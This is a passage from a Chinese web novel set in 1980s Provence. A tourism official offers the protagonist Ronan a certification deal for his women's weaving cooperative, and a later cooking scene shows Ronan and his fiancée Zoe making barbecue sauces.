“艾利安,你还有什么改进的提议吗?” 艾利安和昆西属于平级,但由于昆西直接参与了卢尔马兰的修建工作,所以这次的考察带队人是艾利安。 返回阿维尼翁后,将由艾利安负责书写对卢尔马兰的考察报告。 一道没有什么情感的女声开口了: “我认为卢尔马兰的卫生建设非常成功,旅游基础建设进度较上次也有显著的提升,整个村子呈现一种欣欣向荣的状态,不知道是不是因为上次是旅行淡季,现在是旅行旺季的缘故我感觉这似乎是我第一次来卢尔马兰似的。” 威力猛猛点头。 没错! 确实有这种感觉,走在路上总是会不经意的想——这里卢尔马兰?这是一个我没有来过的地方吧! 昆西露出满意的笑容。 这次汇报稳了! 可昆西还没开心一秒钟,艾利安又开口了: “但我认为卢尔马兰在发展时忽视了一个很重要的东西,这里的艺术氛围浓厚、建设迅速、商业化也在稳步提升,但这些东西梅纳村、博尼约和戈尔德都有,可这里有一个在吕贝隆其他村子里所没有的特色。” 第478章 财神爷!(改版) 昆西的表情先是一阵凝重,但很快想明白了: “你是说卢尔马兰手工艺合作社的女工?” 艾利安第一次来卢尔马兰时,就非常关注卢尔马兰的女性独立现象,声称在卢尔马兰看到了世界上最美丽的风景。 编织参观项目是在旅行季开始前成立的,他们上一次来时还没有,这次来艾利安直接将第一站安排到了巴蒂的编织大院。 她在大院里待了许久,认真的和每一个妇女交谈了解情况,发现这些吕贝隆妇女不仅勇敢的走出家庭,还选择了更大的挑战——今早那里有二十几个妇女在排队和卢尔马兰手工艺合作社签合同。 再仔细一打听合同细节,原来是这些妇女摇身一变,变成手工艺从业者了! 正如罗南之前预想的那样,有了成功的例子后,妇女们做抉择时非常果断,甚至怕情况有变,第一时间赶来把坑占上。 而这种积极和热情的场面,正好让艾利安撞到了。 昆西看到艾利安在编织大院里若有所思的样子,就知道她一定是起了什么想法。 这个女人只要沾上妇女和孩子的问题,就像打了鸡血似的! 艾利安很坦诚的说: “是的,是那些女性工人,我看了卢尔马兰未来的发展计划书,里面没有任何关于这方面的内容,这太遗憾了昆西,我们也许错失了一个向世界介绍吕贝隆的机会。” 从第一次来卢尔马兰起,艾利安就想要围绕这里的女工做些什么,奈何旅游局和卢尔马兰对接的负责人是昆西。 昆西是个基建怪.他的风格是大刀阔斧的搞建设,可能最近又多了一个新的风格——粉红酒。 但无论如何,他们两个人的工作风格和方向都截然不同。 本来想把这件事放下,但第二次来卢尔马兰时,这里的女性更加独立和自主了。 而且根据早上和那名叫巴蒂的负责人交谈得知,卢尔马兰手工艺合作社的编织生意做的相当不错,每个月的营业额都是增长的。 更难得的是,他们愿意给女性一个正式的工作。 艾利安在沃克吕兹省工作了二十多年,从未见过这样的情况发生,于是她心里的火又烧起来了,想要围绕这个点做些什么。 听到这个回答,昆西并不意外,更多的是为难。 昆西确定卢尔马兰正在一条正确且高速的道路上行驶,不想‘节外生枝’了: “这的确是一个好的提议,我们下午可以和布兰科当面聊聊,不过旅游局的工作是给卢尔马兰提供指导意见并监督他们执行,最终做决定的是他们,我们要尊重他们的选择,你觉得如何?” 艾利安表情平静的‘嗯’了一声,心凉了半截。 昆西的回答看似有戏,实则是在婉拒。 身为上级部门的负责人,昆西对卢尔马兰怎么发展,发展什么有很大的话语权,毕竟钱是他交给卢尔马兰政府的.怎么会不听取他的意见呢? 然而昆西的态度是交给布兰科来抉择。 布兰科又不是傻子 意见是艾利安提的,昆西还是这种模凌两可的样子,他一定能看出来昆西的态度。 再加上布兰科所带领的卢尔马兰政府忙到连接待都挤不出人,没有上级的‘指导’,不可能积极的推行自己的意见,因为优先级更高的事情太多了。 所以通过卢尔马兰政府来推行艾利安想法的这条路困难重重。 见艾利安似乎是放弃了,不再言语,昆西指了指前面继续说道: “最新报告上写,这条由生活商铺组成的道路成为了卢尔马兰的‘小吃街’,今天就不去罗南的餐厅吃饭了,没有提前打招呼估计很难有座位,我们去小吃街解决午饭,之后回卢尔马兰政府休息一下,下午2点半继续后面的行程。” 法国公务体系午休传统悠久,即使出差也不能改变。 “好!”威力跟上了昆西的脚步。 艾利安则原地调头: “我不太饿,你们去吧,下午2点半我去卢尔马兰政府找你们。” 旅游局的人可不能怠慢,他们身后有法郎光环。 罗南把买海鲜的任务交给了号称在普罗旺斯美食界‘无所不能’的弗雷迪,之后马上赶往了餐厅。 罗南刚一进门,伊莎贝尔就指着一个方向对罗南说: “喏,就是那个人,她在等你。” 罗南顺着伊莎贝尔的手指看过去,发现是一个陌生的背影,那人正在挂满编织饰品的装饰墙前面孤零零的站着,看墙上的东西。 “帮我安排个位置。”说完,他径直走了过去。 “你好,请问你是?”罗南走到艾利安身边,轻声发出询问。 罗南的突然出现似乎吓了艾利安一跳,她正看的认真,不过一个小小的停顿之后,她直接喊出了罗南的名字: “你好罗南,终于见面了,我是艾利安。” 罗南对艾利安很陌生,但艾利安对罗南并不陌生,她见过卢尔马兰会议室内墙壁上贴着的罗南照片。 这位黄皮肤,黑头发的年轻小伙子太好认了。 罗南是一个心思极度细密的人,这可能是遗传了他的父亲罗天海,连人精略伦特都肯定罗南在社交上的一些天赋。 听到‘终于’这个单词,罗南意识到虽然他们是第一次见面,但对方一定非常了解自己,而且印象还不错的那种。 对面是有钱有势的沃克吕兹省旅游局,是名副其实的财神爷。 面对财神爷,那必须要拿出最大的热情了! 罗南主动选择了贴面礼,在艾利安的脸上轻轻点了两下: “实在抱歉,我的记忆力太差了,我们有过什么共事吗?” 在普罗旺斯,初次见面的异性,握手、贴面和没有动作都很合理,完全看双方的第一眼印象。 而罗南的贴面礼,让安利安觉得双方的关系一下子拉近了好几分。 艾利安原本以为罗南的态度可能会是客气、有礼貌,但带有很明显的疏离,因为她的拜访太突然了。 没想到罗南给人的感觉格外的亲切。 这个顺利的开头,让艾利安的情绪也放松下来了不少,很顺理成章的开起了普罗旺斯式玩笑: “有共同的目标算是‘共事’过吗?” 罗南做出了一个疑惑但感兴趣的表情: “我猜这一定是个很长的故事,不如我们坐下好好聊?” 第479章 我有个计划,你听听?(改版) 有昆西在,艾利安很难从政府层面干预到卢尔马兰,布兰科那些人一定会听第一负责人昆西的,这毫无疑问。 绕开昆西直接去影响布兰科也不好,那会影响昆西和自己的工作关系,而且很愚蠢。 但艾利安心中又有很想去做的事情,那种感觉无比的迫切。 所以,她必须另寻他法,不,应该说另寻他人。 绕开政府,找一个关键人物,与TA单独连线。 艾利安背靠财大气粗的旅游局,想要找到这样的人并不困难。 谁能抵挡的了‘糖衣炮弹’呢? 但这个人选又不是谁都能做的,因为核心是必须可以影响到卢尔马兰那些独立的妇女们。 艾利安想到的第一个人,是早上在编织大院里见到的那个名叫巴蒂的负责人。 卢尔马兰的妇女们似乎很信任他,而且他们去的时候,巴蒂正在和妇女们聊合同细节,很明显,未来妇女们成为卢尔马兰手工艺合作社的正式员工后,巴蒂将是她们的直接负责人。 将这样一个身份的家伙拉到自己的战线,就可以组织那些妇女做出艾利安想要看到的事情.执行起来简单又高效。 可回忆起巴蒂的眼神,艾利安觉得心里有些不舒服,不知道哪里出了问题,她总觉得那眼神很赤裸,但赤裸的是什么情绪就弄不清了。 而且巴蒂看起来太好说话了,妇女们撒撒娇他便很快服了软,看起来没有什么主见.这种性格的家伙并不是一个合格的合作伙伴。 但还能找谁呢? 这个人选必须是卢尔马兰本村的,还要有一定影响力,可艾利安才第二次来卢尔马兰,根本不认识这里的什么村民。 而昆西的话,让她回忆起了一个非常重要的名字——罗南。 怎么把这个在计划书里出现率极高的人忘记了呢? 只要是和卢尔马兰有关的文件里,就一定会出现这个名字。 斯特斯加的负责人是罗南、卢尔马兰手工艺合作社的主席是罗南,他是卢尔马兰最火热中餐厅的老板、他还是普罗旺斯的国宝艺术家一个个荣誉和名号撑起了这个男人在卢尔马兰的影响力。 但罗南在卢尔马兰的影响力远不止如此。 艾利安又回忆起了上一次来卢尔马兰时,布兰科曾经说过的那些事情——影响村民自发修缮房屋的人是罗南、给女性工作的人是罗南、鼓励妇女们利用自己的双手创造更美好的未来人是罗南. 布兰科用卢尔马兰的‘标签’来称呼这个叫罗南的人。 这.就是她的完美合作伙伴! 想明白这些后,艾利安又在卢尔马兰转了一圈,主要是整理思绪,确认再没有其他人比罗南合适后,她才来到了罗南的餐厅。 但是很可惜.罗南并不在这里。 不过万幸,他们终于见到了,并且有了一个还不错的开局。 然而,开局比艾利安预想中的还要好,罗南居然在如此拥挤的餐厅里,挤出了一个位置招待自己。 “我点的这几道是餐厅里的特色菜,我们做了改良,本地人很喜欢吃。”知道艾利安还没吃午饭,罗南热情的说要请她,安排完菜品后试探性的问,“你这次来卢尔马兰是工作还是私事,可以喝酒吗?” 艾利安微笑着说: “于公于私,喝粉红酒都是公事,可以喝一点。” 果然有备而来啊.罗南更加断定了对方的情况。 这会餐厅里人多,罗南亲自去拿的粉红酒和杯子,再坐下时,已经有一道凉菜上桌了: “吃吧,别客气。” 艾利安没有着急动筷子,而是看着那道凉菜问: “好像变样子了?” 上一次来卢尔马兰,布兰科也是在这里招待的他们,也点了这道特色菜。 但艾利安清楚的记得,上次不是这个样子的。 不止是摆拍不同了,似乎配料和做法也变了? “你来过?”罗南有些意外,刚刚点菜时艾利安并没有提起过这个信息,不过他还是认真的解释,“菜品每过一段时间就会进行升级,有的是为了迎合大家的口味,有的是技术上的革新,还有的是为了营造特属于我们的‘特色’,尝尝吧,味道也不一样了。” 艾利安接触过许多普罗旺斯成功人士。 那些有钱有名的男人给她的印象是说教,不停的说教,又或者侃侃而谈自己的光辉历史,讲到生意也只会说好的一面。 可罗南给她的整体感觉,和那些有钱有势的男人不一样。 具体说不上来,可能因为他对‘女性’的尊重和重视,让艾利安产生滤镜了,觉得他格外的‘清新’。 想到这里,她终于展开重要的话题: “我这次来,是想找你聊聊关于卢尔马兰手工艺合作社的事情。” 罗南前倾身体,示意自己在认真听。 “我认为你应该围绕‘妇女走出家门、走入社会’这个核心去做些事情,你知不知道这件事情在吕贝隆有多困难?”艾利安循循善诱的问,“难道没想过,以此去影响更多的人?” 罗南很坦诚的说: “这样做的初衷是想让村民们更加幸福,也富裕一些.她们之前的收入太低了,我这里正好有赚钱的途径,她们又有时间和做手工的能力,‘合作’就这样开始了,但是很幸运,卢尔马兰手工艺合作社发展的挺不错,我们找到了更加有挑战也更加有未来的道路,所以这个‘合作’可以升级了,至于您说的去影响更多的人——” 罗南苦涩一笑: “这个真没想过,主要是我能力有限。” 罗南的回答在艾利安的意料之中。 如果罗南想要以此为核心去做点什么,早就该有动作了,而卢尔马政府也会配合着这位核心村民根本不用她主动找来。 既然在目标上,罗南无法与自己统一,那就要在其他地方找到共同利益.以争取到这位强大伙伴了。 很快,她就找到了一个突破点: “可以问一下,卢尔马兰手工艺合作社的未来发展计划是什么吗?” 艾利安对卢尔马兰手工艺合作社的未来发展并不了解,她所看到的资料上,关于这部分的内容都很泛泛。 罗南当然很愿意和艾利安分享他们的新方向和新计划。 抛开她的工作职务不谈,艾利安这个年纪的女性正是他们的目标受众。 “我们希望把卢尔马兰手工艺合作社打造成一个高端的家具品牌。” 艾利安沉思了几秒,把手肘撑到桌子上: “我这里有一个可以帮助你快速达成目的的方法,你愿意听听吗?” 477-479重新写了 这段剧情重写了,之前订阅过的可以刷新下重新看。 三章改完和原版比一共少了两千多字,这周或者下周补一篇免费的番外。 《1986:我的普罗旺斯幸福生活》477-479重新写了 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第480章 文化签证 罗南没有插话,仔细的倾听。 艾利安的话清楚的飘入罗南的耳朵里: “想要让卢尔马兰手工艺合作社成为一个高端家具品牌,不是靠喊口号或者靠提高售价就能达成的,那太肤浅了,我知道你是一位知名艺术家,但那还是不够。” 罗南轻轻点头: “这个道理我懂,我也没有想过只靠简单粗暴的方式就能完成。” 去F1大奖赛蹭曝光、与那些真正的大明星同行等等行为都是为了向‘高端’靠拢,这也是罗南如此重视和米切兰杂志社合作的原因。 没有伊内斯的帮助,卢尔马兰手工艺合作社不过是一个走不出吕贝隆山区的‘手工大本营’。 这是他目前向高端靠拢最有效的手段。 虽然耗时较长,但肯定有用。 但罗南也知道这还远远不够。 “我想你一定想了许多办法,但我这里有一个更加便捷的途径。”艾利安前倾身体,“我可以帮助你把卢尔马兰手工艺合作社送入奢侈品牌供应链中。” “嗯?”罗南发出一道鼻音,同时也把身体前倾,“什么叫送入奢侈品供应链中?” 看到罗南的反应,艾利安知道她找到突破口了,耐心的讲解道: “不知道你听没听过‘普罗旺斯是奢侈品后花园’这句话?梵克雅宝、爱马仕、路易威登和香奈儿等众多国际品牌都在从普罗旺斯的高端工坊里采购。” 这个信息罗南是第一次听到,他坦诚的摇头: “我只知道格拉斯是世界香水的‘心脏’,那里的香水工坊是几百个国内外香水品牌的直接原料供应商。” 罗南去过格拉斯,那里遍地都是做香水的。 艾利安微笑着说: “国际大牌从普罗旺斯采购的远不只是香水,你在巴黎见到的皮具、服饰和箱包都有可能来自普罗旺斯,这里的许多高端工坊都在它们的‘奢侈品供应链’中。” 罗南大概理解了艾利安的意思,但他并不想成为奢侈品的供应链的一环,而是自己经营: “卢尔马兰手工艺合作社的情况和他们不同。” 艾利安肯定的说: “没错,是不同,而且是很大的不同,但是原理相同.普罗旺斯有几百家手工作坊,但只有1%有资格成为奢侈品供应链的一环,你知道它们与其他工坊的区别是什么吗?” 罗南木讷的摇头。 他所有的高端品牌知识都来自桑德琳,可桑德琳从未跟他说过什么‘奢侈品供应链’。 艾利安没有卖关子,直截了当的说: “是认证,没有当地权威、有影响力的机构给你背书,你的目标很难达成,这是真的,我绝对没有危言耸听,爱马仕和梵克雅宝只认圣母蓝标,路易威登承认石屋星纹、香奈儿承认被圣奥诺徽所授权的手工艺同盟——” 艾利安一连说了十几种认证后才停下: “这些认证不止是奢侈品采购的准入门槛,也是向顾客兜售时的有力竞争,每一个认证都可以让产品溢价至少300%以上,所以说——特定机构的认证是奢侈品的‘文化签证’。” 罗南完全懵了。 艾利安讲的这些全都是他没有听过的。 他之前只知道AOC认证,当然了如果没有朱莉特的科普,他也不懂。 但这些官员怎么对认证这么了解啊? 朱莉特了解AOC有情可原,葡萄和葡萄酒都和农业部有着千丝万缕的关联。 但你一个旅游局的,了解这么多手工艺认证又是为什么? “抱歉,我打断一下。”罗南礼貌的问,“旅游局的业务包括管理手工艺合作社吗?” 艾利安趁着罗南问问题的时候抿了一小口酒,之后她放下杯子摇头: “不归旅游局管,手工艺合作社由地区手工联盟统一监督。” 罗南低头撇了下嘴。 但一个大喘气过后,对面的人又开口了: “但这些认证机构归属到旅游局了,我们合并了一部分文化部的业务,这是我所负责的工作内容。” 监督某个村子和城市的旅游发展,让他们吸引来更多的游客只是昆西和艾利安等人工作内容中的一部分,他们要忙的其他事情可太多了。 比如昆西今年还有一个工作目标,是配合普罗旺斯大区政府将粉红酒打造成普罗旺斯的标签颜色之一。 艾利安的另外一项工作,是接管从文化部那里抢下来的一部分业务。 罗南差点把手边的杯子碰掉,再抬头的时候,看到艾利安的身后不只有法郎的光环,还有各种印章的重影。 “请问卢尔马兰手工艺合作社,如何可以申请到有权威的认证?”罗南一脸期待的问。 这是一条直通‘高端’的通天大道啊! 那可是300%的溢价,300%! 怎么能不心动呢?! “很难,以上提到的那些认证,例如圣母蓝标和石屋星纹等都需要使用至少2项濒危非遗技法。”艾利安的手指在桌子上轻轻敲打着,“但整个普罗旺斯境内没有承认编织技艺的官方认证机构。” 罗南咂了下嘴。 是啊,编织是个‘外来’的手工工种,普罗旺斯的官方认证一定集中在本地传统手工。 但艾利安提起这个话题绝对不是来给罗南泼冷水的,他继续问道: “但您有其他办法?” “没错。”艾利安语气凝重的说,“你通过正常渠道无法拿到技术认证,只能找其他权威、有社会影响力的机构申请,但想要拿到认证不是那么容易的,尤其是在普罗旺斯这片土地上.这里的认证体系始于中世纪修道院,其系统性和影响力在世界范围内具有开创性,否则为何那些奢侈品得到普罗旺斯的认证后可以溢价这么多呢?” 1123年,勒兰修道院颁发首份‘圣血封印’,认证部分药草园产物具有‘神圣疗效’,这比意大利的第一份‘认证’早了500年之久。 虽然现代认证体系始于十八世纪末的英国,但在奢侈品销售给顾客讲故事时,更加喜欢搬出中世纪的欧洲作为蓝本,因为历史更加悠久,显得更加有‘权威性’。 艾利安给了罗南一个短暂消化时间后,才继续开口: “所以你的选择很少,而且每一个都困难重重,我这里有一个推荐,你的情况想要申请到这个机构的认证简直是轻而易举。” 在刚刚的接触中,艾利安曾经表达出过她的态度,她劝解罗南应该围绕‘妇女走出家门、走入社会’这一点做些什么,所以她的推荐已经很好猜了。 “和女性有关的认证?”罗南直截了当的问。 艾利安回答的很干脆: “没错,普罗旺斯最大的妇女基金会‘自由枝芽’的总部设立在阿维尼翁,它是沃克吕兹省文化系统中登记的一个非常重要的组织,‘自由枝芽’呼应薰衣草田中新抽的嫩枝,象征女性突破束缚的生命力,认证标识为‘荆棘烈阳’,你应该听过格拉斯的福克斯家族吧?已经有27家持有‘荆棘烈阳’的香水工坊与福克斯家族达成了长期合作关系,他们酿制的香水在本地非常受欢迎。” 见对面的罗南表情有些凝重,最后艾利安又嘱咐了一句: “你应该知道福克斯家族在普罗旺斯的影响力有多大,虽然荆棘烈阳在国际上的认可度不如圣母蓝标和石屋星纹那些,但在普罗旺斯本地,尤其是经济条件优异的女性圈子内认可度极高,很多富家太太只认这个标识。” 就像艾利安说的那样,留给罗南的选择实在太少了。 编织技艺代表他很难在普罗旺斯得到那些正规的‘文化签证’。 好处呢,罗南是听明白了。 但代价呢? “如果想要获得荆棘烈阳认证,卢尔马兰手工艺合作社需要准备什么?”罗南认真的问。 艾利安知道罗南已经动心了,这个时候正是‘猛攻’的关键时刻,需要拿出些诚意了: “准备的材料你不用担心,卢尔马兰手工艺合作社的条件全部吻合,我可以派人帮你准备,一个月内便可以发证,但我有一些额外的要求。” 罗南靠回椅背上,双手抱胸,下意识的开启了防御状态: “是‘自由枝芽’的额外要求,还是旅游局的?” 艾利安并没有隐瞒: “旅游局的。” 这个回答让罗南稍微放心了一些。 在让卢尔马兰变得越来越好这件事上,旅游局和罗南的目标是一致的。 艾利安的要求应该不会损害罗南的利益,因为损害他的利益就是损害卢尔马兰的利益.这一点,罗南坚信对自己相当了解的艾利安清楚。 “什么要求?”罗南依然靠着椅背,但手放下来了。 艾利安一改之前的冷漠状态,语气变得轻柔下来了: “我希望你能授权一部分卢尔马兰手工艺合作社的影象和图片资料给旅游局使用,素材拍摄将由我这里负责,我将围绕在卢尔马兰这里发生的事情开设一个旅行专栏,以半个月或者一个月为周期更新内容给对此感兴趣的世界游客看,让他们知道在普罗旺斯、在吕贝隆有一个属于女性的特殊角落。” 罗南一愣,完全没想到会是这样一个要求。 他仔细想了一下,觉得没有拒绝的理由: “可以。” 艾利安的状态终于放松了下来,这个最重要的素材拿到,她就有底了,不过下一个要求她就有些没底了: “虽然你没有想过类似的事情,但我相信卢尔马兰发生的事情,会影响更多的人,第二个要求是,如果有看到我们的宣传后对编织感兴趣的女性,我希望你能教她们编织技能,让她们看到独立生活的希望,不过我会确认人选真的需要‘帮助’后联系你,尽量不增加你们的工作量,请你相信,在甄别方面我有绝对的经验。” 这一次,罗南回答的很干脆: “没问题。” 罗南脑海中出现了一个人的身影。 这第二个要求拆解一下,不就是巴蒂的追求吗? 巴蒂这个人过得大条的很,但却有两个崇高的追求。 一个是看到编织艺术红遍普罗旺斯,不再是小众的东西。 第二个追求是帮助天底下所有需要帮助的女性。 艾利安的心终于完全放下了,之前隐忍小口抿酒的她,把酒杯里的粉红酒全部喝了: “好了,只有这两个要求。” 罗南的后背离开了椅背,不由抻直了脖子: “没了?” 艾利安微笑着反问: “你难道想要我继续提出要求?” “啊,不不不。”罗南赶紧给艾利安倒酒,“那什么,快吃吧,光顾着说话,菜都要凉了。” 这是向我提要求,还是给我送温暖来了? 认证就这么轻易的到手了?? 这个叫艾利安的人出现,和她出现之后的表现,都让罗南有些摸不着头脑,想一分钟都转不过来弯的那种。 艾利安吃了一口菜,突然又出声了: “如果一定要说,那真有第三个要求。” 罗南的情绪又紧绷了起来。 艾利安低头吃了一口菜: “对她们好点。” 罗南的状态也终于放松下来了。 他看明白了。 这个艾利安就是个女版巴蒂,心里除了女人就是女人,一点别的都没有啊,就是她和巴蒂想到女人时的画面不同。 这样理解,她的行为就好理解多了。 “没问题,这个我可以保证。”罗南端起酒杯,像艾利安敬酒。 饭局的后半段就有些无趣了。 正如罗南观察到的那样,艾利安的心里只有女人,别的什么事都不太关注。 但罗南和她不是一种人啊,聊的非常头疼。 艾利安说的话题,罗南听不懂。 罗南起的话题,艾利安又没什么兴趣。 可冷场又不行,罗南只能挖空了心思找话题和她沟通。 找啊找啊找,你别说,还真找到了第二个能聊下去的话题。 不过还是没有逃过主题——依然是个女人。 “你说朱莉特升职了?”罗南抱着试一试的心态,和艾利安提起了他在政府里的熟人朱莉特。 没想到从艾利安那里听到了令人震惊的消息。 “是的,升职了,已经公示出来了。”艾利安肯定的点头。 第481章 欢迎来到普罗旺斯大蒜海洋! 罗南送艾利安离开时,遇到了中午来餐厅吃饭的巴蒂。 罗南不认识这位旅游局的女官员,但巴蒂却说他‘认得’。 “你当然认得,她早上去编织大院了。”罗南拿起收银台上的电话听筒,“她告诉我,早上你那里可热闹了。” “这不是我们第一次见面。”巴蒂兴奋的说着,“今早是我们第二次见面了。” 罗南想要给弗雷迪打电话问问他海鲜买的怎么样了,需不需要自己也出动但听到巴蒂的话,正在拨电话的手指停了下来: “你之前见过她?” 巴蒂点头如捣蒜: “她几个月前来过一次卢尔马兰,周围陪着许多本地官员,可气派了,今早她也不是自己来的,都是上次来过的人,身边还跟着克劳德。” 组队来的,身边有卢尔马兰政府官员的接待.但她怎么自己来餐厅了? 觉得有些蹊跷,罗南再次确认道: “你确认你没认错?” 巴蒂把胸膛拍的叮当作响: “你知道的,我认女人从来没有出过错,尤其是这种有钱有势有能力的。” 罗南想了几秒,继续拨号码。 吃饭的时候,艾利安也没有解释她何时来餐厅吃过饭,似乎是不想和昆西扯上关系。 罗南没有那么八卦,想要弄清原因。 但他明白,之后这两个人的事情各聊各的,不能把他们混为一谈。 和昆西见面的时候,不聊卢尔马兰手工艺合作社的认证。 和艾利安再见面,也不聊卢尔马兰的基础建设了。 “真够复杂的。”罗南把话筒夹在耳边嘟囔了一句,几秒钟之后电话接通了,“弗雷迪?买到海鲜了吗?那么多?要要要,都买下来,现在买新鲜的海鲜不容易,而且咱们人多。” 虽然罗南一整个上午嘴都没有停下、在中午1点之前吃了3顿正餐,且其中有两顿午饭但他还是从下午3点就开始筹备晚饭了。 烧烤准备起来比较容易,食材切好、腌好,人齐直接开烤就行。 但夏天天气太热,大家的胃口多少受了些影响,为了让晚上的烧烤大餐吃的尽兴、吃的开心,罗南想要多做几种酱料,以满足每个人的口味。 法国别的地区是什么情况不好说,但在普罗旺斯,只要桌子上有一碟好吃的酱料,这些贪吃的家伙一定会从头吃到尾,不管是肉、蔬菜还是面包都会成倍的消失。 早些时候罗南去找莉娅,让她帮忙做一份朋友们都很喜欢的特色烤肉酱,是用樱桃制成的,据说是莉娅母亲家的祖传秘方。 莉娅告诉罗南,这份她家族不外传的秘制酱料已经传到了佐伊这一代,建议让他去品尝下未婚妻的手艺,看看是否出师了。 于是乎,下午罗南和佐伊齐聚罗南家那宽敞明亮、一抬头就可以看到吕贝隆最棒夏季风景的开放式大厨房里,展开了一场酣畅淋漓的酱料制作大合集。 那款秘制烤肉酱需要小火慢炖至少45分钟,被排到了第一个制作,厨房的舞台暂时交给佐伊,罗南成为了她的帮厨。 根据大厨佐伊的要求,在她到来之前,罗南已经把去过核的樱桃在白兰地中浸泡了1个小时。 佐伊将一颗浸泡过白兰地的樱桃放入嘴中,颇为享受的咀嚼。 罗南好奇的问: “这款烧烤酱有名字吗?” 这个酱料他吃过几次,但从来没有了解过。 仅从口味上看,他无法将其和他所知道的普罗旺斯任何一款酱料联系到一起,所以这真的是莉娅家‘发明’的。 佐伊依依不舍的将白兰地和樱桃分离: “我外婆和妈妈都叫它樱桃烧烤酱。” 佐伊喜欢喝白兰地,喜欢的程度仅次于粉红酒,而且她最近一直在抱怨好久没喝了。 见她那依依不舍的可爱样子,罗南笑着说: “等我把洋葱切完,我来做吧,你指挥我,我们上午从集市上买了许多好吃的东西,都可以配白兰地。” 佐伊两手一挥,金色长发听话的变成了一个可爱的小揪揪,出现在她的脑后: “那可不行,妈妈说这是我们家的祖传酱料,不能外传。” 就佐伊这个盘头的动作,罗南一辈子都看不够! 手被占着,罗南用活泼的眉毛提示对方自己的情绪在快速波动: “我们不是一家人吗?” 佐伊系上围裙,用挑衅的语气回: “当然不是,你现在还不是我的人呢。” 罗南笑着伸手去掐她的脸: “我看你这嘴也是祖传的吧?让我尝尝是不是硬的” 佐伊灵活的躲开了罗南的魔爪,装作生气的说: “怎么回事,你这个小帮厨,居然敢和大厨动手动脚的?” “好好好。”罗南笑着举起手,示意自己不动手动脚了,“配菜已准备好,大厨咱们下一步干什么?” 佐伊熟练的拿起一口平底锅,放到了灶头上: “准备好食材,我要什么你就拿什么。” 罗南立正站好: “好嘞,我一定好好配合。” 相较于普罗旺斯其他常见酱料,佐伊家这个祖传的樱桃烤肉酱制做起来相对费时,但不费力。 橄榄油炒香洋葱丁至琥珀色,加蒜末,之后佐伊又加入了一点点当地人新鲜熬制出来的番茄膏。 普罗旺斯的西红柿也很有名,很多外国人不知道普罗旺斯的葡萄和薰衣草,但他们听过普罗旺斯西红柿。 普罗旺斯人也爱西红柿,在夏天几乎每顿饭都有它的影子,它是炎热夏季最佳食材伴侣。 几分钟之后,佐伊依次向锅里放入了浸泡过白兰地的去核樱桃、红酒醋、薰衣草蜂蜜、百里香、迷迭香和牛至,沸腾之后将火力调制成了小火。 “45分钟后,捞出香料残渣,加入黑橄榄碎、烟熏红椒粉、海盐和黑胡椒搅拌,再中火收汁至酱料挂勺不滴落就好了。”大厨放下了勺子,“妈妈说,这款酱料完美诠释了普罗旺斯的美食特色——用水果的鲜甜平衡肉脂的油腻,又用香料驯服了烟熏气,吃烧烤再合适不过。” 这是罗南第一次见樱桃烤肉酱的制作过程。 看完前半程后,他只有一个想法—— “这款酱料也完全诠释了你家的美食特色——莉娅是香料的绝对拥护者,她喜欢在食材里加入大量香料,看起来这个习惯是祖传的,而且这里还有你喜欢的白兰地——”罗南抓了两颗洗过的樱桃放到嘴里,“樱桃是我非常喜欢的水果,你看,是不是全是我们喜欢的?” 佐伊又拿了两颗樱桃塞到‘帮厨’罗南的嘴里: “刚刚表现不错,这份酱料一定很成功,奖励你的。” 罗南嘻嘻哈哈的拿起第二个锅: “那一会你帮厨的时候也好好好干啊,干的好,我也有奖励给你。” 佐伊接过罗南手里的锅,礼貌的对他说了一声谢谢: “谁说我要做帮厨,你爱吃的什么酱料我不会做?” 佐伊厨艺突飞猛进的起始,就是因为罗南有段时间因为斯特斯加心情不好,她换着法的给罗南做吃的投喂,希望让他开心。 经过那段时间的历练,罗南爱吃的所有东西,佐伊都会做。 罗南哭笑不得的问: “可我今天打算做大蒜酱,你也要做吗?” 佐伊是厨房新人,那股子新鲜劲儿还没过去。 尤其刚刚还在真正的大厨罗南面前露了一手,让她交出大厨的位置没有那么容易。 但上午罗南在集市买了新鲜大蒜,他打算做点大蒜酱给朋友们。 普罗旺斯号称是被大蒜涂抹过的土地,有了这个酱汁,弗雷迪那帮人一定胃口大开。 而佐伊和罗南一样,同样不太喜欢大蒜味道的东西。 佐伊把第二口锅放到灶头上,语气坚定的说: “我妈妈和外婆都是远近闻名的当地著名‘厨师’,她们不仅传下来了樱桃烤肉酱,还传下来了祖祖辈辈做普罗旺斯本地菜的秘籍,大蒜酱算什么,以大蒜为主材料制作的酱料多的很,今天我再给你露两手。” 罗南站到佐伊身后好奇的问: “新学的?” 佐伊幽默的回答: “最近一有时间我就和妈妈学习烹饪,如果不是她在做去参加甜品大赛的准备,没有太多的精力,我都会做‘普罗旺斯九肉陶坛炖’了。” 普罗旺斯九肉陶坛炖是一道只出现在普罗旺斯人嘴里,从未在餐桌上出现过的本土高级烹饪。 需要集齐岩山羊腱、野兔脊、鹌鹑胸、沙丘鹿颊等3兽3禽3畜的特殊部位,按肌纤维强度分层入坛,陶坛中用黑松露、迷迭香、薰衣草等二十几味芳香植物隔夜冷腌后,以葡萄藤炭火煨72小时,方可大成。 传说中,吃了这道菜的人可以直接徒手攀登图旺山,还有人说,吃完这道菜可以横穿地中海游到突尼斯。 现在这道菜的名字,经常出现在吕贝隆10岁以下的孩子口中,因为有一个动画片里的男主角吃完普罗旺斯九肉陶坛炖后原地复生了。 这里的语境是在表达——我的厨艺已‘登峰造极’! “哦,那可太棒了,期待你学成的那天。”罗南捕捉到了话里的另一个信息,“莉亚还在为甜品大赛做准备?” 月初,罗南曾在餐厅后厨撞到莉亚刻苦练习刀工。 听佐伊的意思,莉亚回家之后也在努力? 佐伊的语气里有浓浓的自豪: “是的,特别认真,爸爸说妈妈的身上每时每刻都在散发成功女性的光辉,我们一家都很支持她的努力。” 想到什么,佐伊回头对罗南说: “你不要阻拦她,妈妈这样做也是在提升自己的能力,不止是为了帮助你去参加比赛。” “不阻拦,只是担心她太累不要太拼了。”罗南有些担忧的说。 佐伊拿起橄榄油的瓶子: “怎么会累着?你不知道爸爸每天对她有多关心,我从未见过爸爸如此在意妈妈的衣食住行,所以说拥有事业的女性最迷人,他们这对夫妻进入了第二段蜜月期。” 她突然碰了下罗南的胳膊: “这点橄榄油不够,去帮我开瓶新的。” 罗南马上进入角色: “好的大厨!” 佐伊做了两款升级款大蒜酱——红椒大蒜酱和蛋黄大蒜酱。 